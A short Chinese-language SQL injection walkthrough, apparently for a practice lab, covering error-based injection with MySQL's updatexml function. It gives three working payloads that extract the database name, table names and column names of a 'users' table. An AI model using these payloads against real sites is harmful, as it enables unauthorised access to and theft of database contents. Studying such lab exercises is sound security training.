传入1’的时候有报错信息报错信息能推出需要闭合单引号也能判断出这是个报错注入用 updatexml 函数?id1 and updatexml(0,concat(0x7e,database(),0x7e),0)--?id1 and updatexml(0,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schemasecurity),0x7e),0)--?id1 and updatexml(0,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_nameusers),0x7e),0)--